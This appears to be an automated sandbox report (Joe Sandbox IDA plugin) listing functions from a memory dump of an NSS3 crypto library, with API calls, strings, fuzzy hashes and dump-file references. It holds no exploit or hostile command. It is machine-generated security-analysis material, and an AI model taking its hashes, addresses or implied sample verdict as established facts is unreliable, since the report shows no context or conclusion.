String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: e0088318998697534a26b369369b473e0bed6dcd241bcee4fcff855a4417e841
Instruction ID: 3e4d4350bb7a014a0e0e6939d7624eb89f714f0aeba3eddfd023d58970491c33
Opcode Fuzzy Hash: e0088318998697534a26b369369b473e0bed6dcd241bcee4fcff855a4417e841
Instruction Fuzzy Hash: 2552D4B1E022859BEF119F64DC097AE7BB4EF0630CF144028FD19B6A51E7B1E954CB92

Function 6CB7EA80 Relevance: 107.5, APIs: 49, Strings: 12, Instructions: 735stringmemoryCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(00000000), ref: 6CB7EAB1

Part of subcall function 6CC39090: TlsGetValue.KERNEL32 ref: 6CC390AB
Part of subcall function 6CC39090: TlsGetValue.KERNEL32 ref: 6CC390C9
Part of subcall function 6CC39090: EnterCriticalSection.KERNEL32 ref: 6CC390E5
Part of subcall function 6CC39090: TlsGetValue.KERNEL32 ref: 6CC39116
Part of subcall function 6CC39090: LeaveCriticalSection.KERNEL32 ref: 6CC3913F

PR_ExitMonitor.NSS3 ref: 6CB7EAC5

Part of subcall function 6CC39440: TlsGetValue.KERNEL32 ref: 6CC3945B
Part of subcall function 6CC39440: TlsGetValue.KERNEL32 ref: 6CC39479
Part of subcall function 6CC39440: EnterCriticalSection.KERNEL32 ref: 6CC39495
Part of subcall function 6CC39440: TlsGetValue.KERNEL32 ref: 6CC394E4
Part of subcall function 6CC39440: TlsGetValue.KERNEL32 ref: 6CC39532
Part of subcall function 6CC39440: LeaveCriticalSection.KERNEL32 ref: 6CC3955D

PR_SetError.NSS3(FFFFE09A,00000000), ref: 6CB7EBAF
PR_Socket.NSS3(00000002,00000001,00000000), ref: 6CB7EBF8
PR_StringToNetAddr.NSS3(?,?), ref: 6CB7EC20
PORT_Alloc_Util.NSS3(00000800), ref: 6CB7EC39
PR_GetHostByName.NSS3(?,00000000,00000800,?), ref: 6CB7EC5A
PR_EnumerateHostEnt.NSS3(00000000,?,?,?), ref: 6CB7EC85
free.MOZGLUE(?), ref: 6CB7ECB6
PR_SetError.NSS3(FFFFE078,00000000), ref: 6CB7ECCF
free.MOZGLUE(?), ref: 6CB7ED10
free.MOZGLUE(?), ref: 6CB7ED26
PR_InitializeNetAddr.NSS3(00000000,?,?), ref: 6CB7ED35
PR_snprintf.NSS3(?,00000010,:%d,?), ref: 6CB7ED7F
PR_smprintf.NSS3(POST %s HTTP/1.0Host: %s%sContent-Type: application/ocsp-requestContent-Length: %u,?,?,00000000,?), ref: 6CB7EDAB
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB7EDBE
free.MOZGLUE(00000000), ref: 6CB7EE9B
PR_smprintf.NSS3(GET %s HTTP/1.0Host: %s%s,?,?,00000000), ref: 6CB7EEB1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB7EEC0
free.MOZGLUE(00000000), ref: 6CB7EEE2
free.MOZGLUE(00000000), ref: 6CB7EEF2
free.MOZGLUE(?), ref: 6CB7EF15
free.MOZGLUE(?), ref: 6CB7EF27
realloc.MOZGLUE(00000000,-00000401), ref: 6CB7EF5C

Part of subcall function 6CB7E910: PL_strncasecmp.NSS3(?,http://,00000007), ref: 6CB7E93B
Part of subcall function 6CB7E910: PR_SetError.NSS3(FFFFE075,00000000), ref: 6CB7E94E

strstr.VCRUNTIME140(-000000F8,), ref: 6CB7F00C
strstr.VCRUNTIME140(00000000,6CCC010D), ref: 6CB7F03F
strchr.VCRUNTIME140(00000000,00000020), ref: 6CB7F055
PL_strncasecmp.NSS3(00000000,HTTP/,00000005), ref: 6CB7F06D
free.MOZGLUE(00000000), ref: 6CB7F07A
PR_SetError.NSS3(FFFFE077,00000000), ref: 6CB7F08A
strchr.VCRUNTIME140(?,00000020), ref: 6CB7F0AC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,200), ref: 6CB7F0C4
strchr.VCRUNTIME140(?,0000003A), ref: 6CB7F0FA
strstr.VCRUNTIME140(-00000002,6CCC010D), ref: 6CB7F124
PL_strcasecmp.NSS3(?,content-type), ref: 6CB7F13D
PL_strcasecmp.NSS3(?,content-length), ref: 6CB7F14F
atoi.API-MS-WIN-CRT-CONVERT-L1-1-0(?), ref: 6CB7F15F
PL_strcasecmp.NSS3(?,application/ocsp-response), ref: 6CB7F1A0
memcpy.VCRUNTIME140(00000000,?), ref: 6CB7F1CD
PR_SetError.NSS3(FFFFE077,00000000), ref: 6CB7F231
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000000), ref: 6CB7F387
memcpy.VCRUNTIME140(?,00000000,00000000), ref: 6CB7F39C
free.MOZGLUE(00000000), ref: 6CB7F3A5
free.MOZGLUE(00000000), ref: 6CB7F3B1

Part of subcall function 6CB60F00: PR_GetPageSize.NSS3(6CB60936,FFFFE8AE,?,6CAF16B7,00000000,?,6CB60936,00000000,?,6CAF204A), ref: 6CB60F1B
Part of subcall function 6CB60F00: PR_NewLogModule.NSS3(clock,6CB60936,FFFFE8AE,?,6CAF16B7,00000000,?,6CB60936,00000000,?,6CAF204A), ref: 6CB60F25

Strings

POST, xrefs: 6CB7EB58, 6CB7EB81
application/ocsp-response, xrefs: 6CB7F19A
GET %s HTTP/1.0Host: %s%s, xrefs: 6CB7EEAC
content-length, xrefs: 6CB7F149
content-type, xrefs: 6CB7F137
POST %s HTTP/1.0Host: %s%sContent-Type: application/ocsp-requestContent-Length: %u, xrefs: 6CB7EDA6
200, xrefs: 6CB7F0BB
HTTP/, xrefs: 6CB7F067
GET, xrefs: 6CB7EB53
application/ocsp-request, xrefs: 6CB7EE25
http, xrefs: 6CB7EB86
:%d, xrefs: 6CB7ED73

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: free$Value$Error$CriticalSection$EnterL_strcasecmpstrchrstrstr$AddrHostL_strncasecmpLeaveMonitorR_smprintfUtilmemcpystrlen$AllocAlloc_EnumerateExitInitializeItem_ModuleNamePageR_snprintfSizeSocketStringatoireallocstrcmp
String ID: 200$:%d$GET$GET %s HTTP/1.0Host: %s%s$HTTP/$POST$POST %s HTTP/1.0Host: %s%sContent-Type: application/ocsp-requestContent-Length: %u$application/ocsp-request$application/ocsp-response$content-length$content-type$http
API String ID: 3957390022-1324771758
Opcode ID: 19ed88cde13e1f626965049e912f6ef97c1e2dbab84193f34dce1acccea0670b
Instruction ID: 50e2b6c8f909ea696646c09cff75f86011af308eb3c94b11eba3985c2495cd2b
Opcode Fuzzy Hash: 19ed88cde13e1f626965049e912f6ef97c1e2dbab84193f34dce1acccea0670b
Instruction Fuzzy Hash: 6E42AC71608281AFEB109F24DC85B5B7BE8AF45348F044828FD6997B50E735E909CBA7

Function 6CBC09B0 Relevance: 66.8, APIs: 44, Instructions: 817memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,?,?,?,6CBC1AD3), ref: 6CBC09D5
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,?,6CBC1AD3), ref: 6CBC09E9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CBC0A18
PR_SetError.NSS3(00000000,00000000), ref: 6CBC0A30
memcpy.VCRUNTIME140(?,00000000,00000020,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CBC0CC9
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CBC0D05
EnterCriticalSection.KERNEL32(?), ref: 6CBC0D19
PR_Unlock.NSS3(?), ref: 6CBC0D36
free.MOZGLUE(?), ref: 6CBC0D75
TlsGetValue.KERNEL32 ref: 6CBC0DA1
EnterCriticalSection.KERNEL32(?), ref: 6CBC0DB5
PR_Unlock.NSS3(?), ref: 6CBC0DEB
PORT_Alloc_Util.NSS3(?), ref: 6CBC0DFF
PR_Unlock.NSS3(?), ref: 6CBC0E37
free.MOZGLUE(?), ref: 6CBC0E4E
PR_SetError.NSS3(00000000,00000000), ref: 6CBC0E6A
memset.VCRUNTIME140(?,00000000,00000100), ref: 6CBC0E9A
TlsGetValue.KERNEL32 ref: 6CBC0F23
EnterCriticalSection.KERNEL32(?), ref: 6CBC0F37
PR_SetError.NSS3(00000000,00000000), ref: 6CBC0FC7

Part of subcall function 6CC1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC1C2BF

PR_Unlock.NSS3(?), ref: 6CBC0FDE
TlsGetValue.KERNEL32 ref: 6CBC0FFA
EnterCriticalSection.KERNEL32(?), ref: 6CBC100E
PR_Unlock.NSS3(?), ref: 6CBC1050
PR_Unlock.NSS3(?), ref: 6CBC1073
TlsGetValue.KERNEL32 ref: 6CBC1087
EnterCriticalSection.KERNEL32(?), ref: 6CBC109B
PR_Unlock.NSS3(?), ref: 6CBC10B8
free.MOZGLUE(?), ref: 6CBC1113
PORT_Alloc_Util.NSS3(?), ref: 6CBC1151
free.MOZGLUE(?), ref: 6CBC11AB
TlsGetValue.KERNEL32 ref: 6CBC1296
EnterCriticalSection.KERNEL32(?), ref: 6CBC12AB
PR_Unlock.NSS3(?), ref: 6CBC12D9
TlsGetValue.KERNEL32 ref: 6CBC12F4
EnterCriticalSection.KERNEL32(?), ref: 6CBC130C
PR_Unlock.NSS3(?), ref: 6CBC1340
TlsGetValue.KERNEL32 ref: 6CBC1354
EnterCriticalSection.KERNEL32(?), ref: 6CBC136C
PR_Unlock.NSS3(?), ref: 6CBC13A3
TlsGetValue.KERNEL32 ref: 6CBC13BA
EnterCriticalSection.KERNEL32(?), ref: 6CBC13CF
PR_Unlock.NSS3(?), ref: 6CBC13FB

Part of subcall function 6CC1DD70: TlsGetValue.KERNEL32 ref: 6CC1DD8C
Part of subcall function 6CC1DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC1DDB4

PR_SetError.NSS3(FFFFE040,00000000), ref: 6CBC141E

Part of subcall function 6CB607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CAF204A), ref: 6CB607AD
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAF204A), ref: 6CB607CD
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAF204A), ref: 6CB607D6
Part of subcall function 6CB607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CAF204A), ref: 6CB607E4
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,6CAF204A), ref: 6CB60864
Part of subcall function 6CB607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CB60880
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,?,6CAF204A), ref: 6CB608CB
Part of subcall function 6CB607A0: TlsGetValue.KERNEL32(?,?,6CAF204A), ref: 6CB608D7
Part of subcall function 6CB607A0: TlsGetValue.KERNEL32(?,?,6CAF204A), ref: 6CB608FB

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalSection$Enter$Errorfree$Alloc_Utilcalloc$Leavememcpymemset
String ID:
API String ID: 3136013483-0
Opcode ID: 93878308a32ef4042059b220c1f7d0f2acb9f9a0dc7ec656bba764b5a9d2e8c5
Instruction ID: 01d5230260f3ffa13eb9b617f2dfce59a12e010d30960599ae4fa728a05396f8
Opcode Fuzzy Hash: 93878308a32ef4042059b220c1f7d0f2acb9f9a0dc7ec656bba764b5a9d2e8c5
Instruction Fuzzy Hash: C472C2B1E042949FEF119F25D88879A7BB4FF05318F1801B9DC09AB752E734E985CB92

Function 6CBD4840 Relevance: 63.4, APIs: 29, Strings: 7, Instructions: 351
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,00000000,?,?,6CBB601B,?,00000000,?), ref: 6CBD486F
PORT_ArenaAlloc_Util.NSS3(00000000,00000001,?,?,?,?,?,00000000), ref: 6CBD48A8
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,?,00000000), ref: 6CBD48BE
NSSUTIL_ArgSkipParameter.NSS3(?,?,?,?,?,00000000), ref: 6CBD48DE
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,00000000), ref: 6CBD48F5
NSSUTIL_ArgSkipParameter.NSS3(00000000,?,?,?,?,?,?,00000000), ref: 6CBD490A
PORT_ZAlloc_Util.NSS3(?,?,?,?,?,?,00000000), ref: 6CBD4919
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,00000000), ref: 6CBD493F
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CBD4970
PORT_Alloc_Util.NSS3(00000001), ref: 6CBD49A0
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6CBD49AD
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CBD49D4
NSSUTIL_ArgFetchValue.NSS3(00000001,?), ref: 6CBD49F4
NSSUTIL_ArgDecodeNumber.NSS3(00000000), ref: 6CBD4A10
NSSUTIL_ArgParseSlotFlags.NSS3(slotFlags,00000000), ref: 6CBD4A27
NSSUTIL_ArgReadLong.NSS3(timeout,00000000,00000000,00000000), ref: 6CBD4A3D
NSSUTIL_ArgGetParamValue.NSS3(askpw,00000000), ref: 6CBD4A4F
PL_strcasecmp.NSS3(00000000,every), ref: 6CBD4A6C
PL_strcasecmp.NSS3(00000000,timeout), ref: 6CBD4A81
free.MOZGLUE(00000000), ref: 6CBD4AAB
NSSUTIL_ArgGetParamValue.NSS3(rootFlags,00000000), ref: 6CBD4ABE
PL_strncasecmp.NSS3(00000000,hasRootCerts,0000000C), ref: 6CBD4ADC
free.MOZGLUE(00000000), ref: 6CBD4B17
NSSUTIL_ArgGetParamValue.NSS3(rootFlags,00000000), ref: 6CBD4B33

Part of subcall function 6CBD4120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBD413D
Part of subcall function 6CBD4120: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CBD4162
Part of subcall function 6CBD4120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBD416B
Part of subcall function 6CBD4120: PL_strncasecmp.NSS3(6CBD4232,?,00000001), ref: 6CBD4187
Part of subcall function 6CBD4120: NSSUTIL_ArgSkipParameter.NSS3(6CBD4232), ref: 6CBD41A0
Part of subcall function 6CBD4120: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBD41B4
Part of subcall function 6CBD4120: PL_strncasecmp.NSS3(00000000,0000003D,?), ref: 6CBD41CC
Part of subcall function 6CBD4120: NSSUTIL_ArgFetchValue.NSS3(6CBD4232,?), ref: 6CBD4203

PL_strncasecmp.NSS3(00000000,hasRootTrust,0000000C), ref: 6CBD4B53
free.MOZGLUE(00000000), ref: 6CBD4B94
free.MOZGLUE(?), ref: 6CBD4BA7
free.MOZGLUE(00000000), ref: 6CBD4BB7
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CBD4BC8

Strings

slotFlags, xrefs: 6CBD4A22
hasRootTrust, xrefs: 6CBD4B4D
askpw, xrefs: 6CBD4A4A
rootFlags, xrefs: 6CBD4AB9, 6CBD4B2E
hasRootCerts, xrefs: 6CBD4AD6
timeout, xrefs: 6CBD4A38, 6CBD4A7B
every, xrefs: 6CBD4A66

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: isspace$Valuefree$L_strncasecmp$Alloc_ParamParameterSkipUtil$FetchL_strcasecmpstrlen$ArenaDecodeFlagsLongNumberParseReadSlotmemsetstrcpystrncpy
String ID: askpw$every$hasRootCerts$hasRootTrust$rootFlags$slotFlags$timeout
API String ID: 3791087267-1256704202
Opcode ID: 51bda0275ff5f088455f15492da2ffaa7f482033c0411ba94455dfbd303c0307
Instruction ID: e6e20ee97af6e6435dd52ca77db87287049162cbda71aaa58990a9da9219f9da
Opcode Fuzzy Hash: 51bda0275ff5f088455f15492da2ffaa7f482033c0411ba94455dfbd303c0307
Instruction Fuzzy Hash: 7EC11874E053D65FEB008FA59C44BAE7BB4EF06348F160028EC95A7B41E725B915CFA1

Function 6CB96D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6CC9A8EC,0000006C), ref: 6CB96DC6
memcpy.VCRUNTIME140(?,6CC9A958,0000006C), ref: 6CB96DDB
memcpy.VCRUNTIME140(?,6CC9A9C4,00000078), ref: 6CB96DF1
memcpy.VCRUNTIME140(?,6CC9AA3C,0000006C), ref: 6CB96E06
memcpy.VCRUNTIME140(?,6CC9AAA8,00000060), ref: 6CB96E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB96E38

Part of subcall function 6CC1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC1C2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6CB96E76
TlsGetValue.KERNEL32 ref: 6CB9726F
EnterCriticalSection.KERNEL32(?), ref: 6CB97283

Strings

!, xrefs: 6CB97123

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: 702d9d3d75055b67083ceefa5f0b14cc7657ecd50b324485d02e42f2d4f18b4e
Instruction ID: 445a42b83dffbc5f82539da84c22f751afc6b9f09afd25335737f6c49a228a8f
Opcode Fuzzy Hash: 702d9d3d75055b67083ceefa5f0b14cc7657ecd50b324485d02e42f2d4f18b4e
Instruction Fuzzy Hash: E1728C75D052589FDF60CF28CC88B9ABBF5EB4A304F1441A9D80CA7701EB71AA85CF91

Function 6CBB8A30 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 393memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CBB8A58

Part of subcall function 6CBD0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CB787ED,00000800,6CB6EF74,00000000), ref: 6CBD1000
Part of subcall function 6CBD0FF0: PR_NewLock.NSS3(?,00000800,6CB6EF74,00000000), ref: 6CBD1016
Part of subcall function 6CBD0FF0: PL_InitArenaPool.NSS3(00000000,security,6CB787ED,00000008,?,00000800,6CB6EF74,00000000), ref: 6CBD102B

PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CBB8AC6
PORT_ArenaAlloc_Util.NSS3(00000000,00000044), ref: 6CBB8ADF
SECITEM_CopyItem_Util.NSS3(00000000,00000004,?), ref: 6CBB8B19
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6CBB8B2D
PK11_GenerateRandom.NSS3(00000000,00000010), ref: 6CBB8B49
SEC_ASN1EncodeInteger_Util.NSS3(00000000,00000010,00000000), ref: 6CBB8B61
SEC_ASN1EncodeInteger_Util.NSS3(00000000,0000001C), ref: 6CBB8B83
SECOID_SetAlgorithmID_Util.NSS3(00000000,-0000002C,?,00000000), ref: 6CBB8BA0
PR_SetError.NSS3(FFFFE006,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CBB8BF0
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6CBB8BF9
SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CBB8C13
HASH_ResultLenByOidTag.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CBB8C3A
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CBB8CA7
PR_SetError.NSS3(FFFFE006,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CBB8CC4
PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6CBB8D12
PORT_FreeArena_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CBB8D20
SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CBB8D40
SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CBB8D99
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CBB8DBF
PORT_ArenaAlloc_Util.NSS3(00000123,00000018), ref: 6CBB8DD5
SEC_ASN1EncodeItem_Util.NSS3(?,?,00000000,6CC9D864), ref: 6CBB8E39

Part of subcall function 6CBCF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CBCF0C8
Part of subcall function 6CBCF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CBCF122

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,?), ref: 6CBB8E5B

Part of subcall function 6CBCBE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CB7E708,00000000,00000000,00000004,00000000), ref: 6CBCBE6A
Part of subcall function 6CBCBE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CB804DC,?), ref: 6CBCBE7E
Part of subcall function 6CBCBE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CBCBEC2

SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6CC9D8C4), ref: 6CBB8E94
SECOID_SetAlgorithmID_Util.NSS3(?,00000000,00000000,?), ref: 6CBB8EAC
PORT_ZAlloc_Util.NSS3(00000018), ref: 6CBB8EBA
SECOID_CopyAlgorithmID_Util.NSS3(00000000,00000000,00000000), ref: 6CBB8ECC
SECITEM_ZfreeItem_Util.NSS3(-0000000C,00000000), ref: 6CBB8EE1
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CBB8EF4
free.MOZGLUE(00000000), ref: 6CBB8EFD
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CBB8F11
PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6CBB8F1C

Strings

tFVPj, xrefs: 6CBB8EC4

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Util$Arena_Item_$Free$AlgorithmAlloc_ArenaCopyEncodeFindTag_$ErrorZfree$Integer_$GenerateHashInitK11_LockPoolRandomResultTypecallocfree
String ID: tFVPj
API String ID: 2709086113-199373283
Opcode ID: b61006c627d7f73e1e6cdba4f859dc134b1b9e4680ea823ec28370f230e8b86a
Instruction ID: a3c0f5a8dd3dbae2e75d80dfa8c2dd1abb4f61dfc2d0ca768695d208c566ba18
Opcode Fuzzy Hash: b61006c627d7f73e1e6cdba4f859dc134b1b9e4680ea823ec28370f230e8b86a
Instruction Fuzzy Hash: 3ED117B1A053829BE7009F24DC80BBE77E9EF15348F14492BEC54E6A91FB32D554C693

Function 6CB18460 Relevance: 43.1, APIs: 23, Strings: 1, Instructions: 1095COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,00000030), ref: 6CB184FF
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(377F0682), ref: 6CB188BB
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(002DE218), ref: 6CB188CE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB188E2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(FFFFFFFF), ref: 6CB188F6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB1894F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB1895F
sqlite3_randomness.NSS3(00000008,?), ref: 6CB18914

Part of subcall function 6CB031C0: sqlite3_initialize.NSS3 ref: 6CB031D6

sqlite3_randomness.NSS3(00000004,?), ref: 6CB18A13
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB18A65
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6CB18A6F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB18B87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6CB18B94
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(002E5B33), ref: 6CB18BAD

Strings

cannot limit WAL size: %s, xrefs: 6CB19188

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
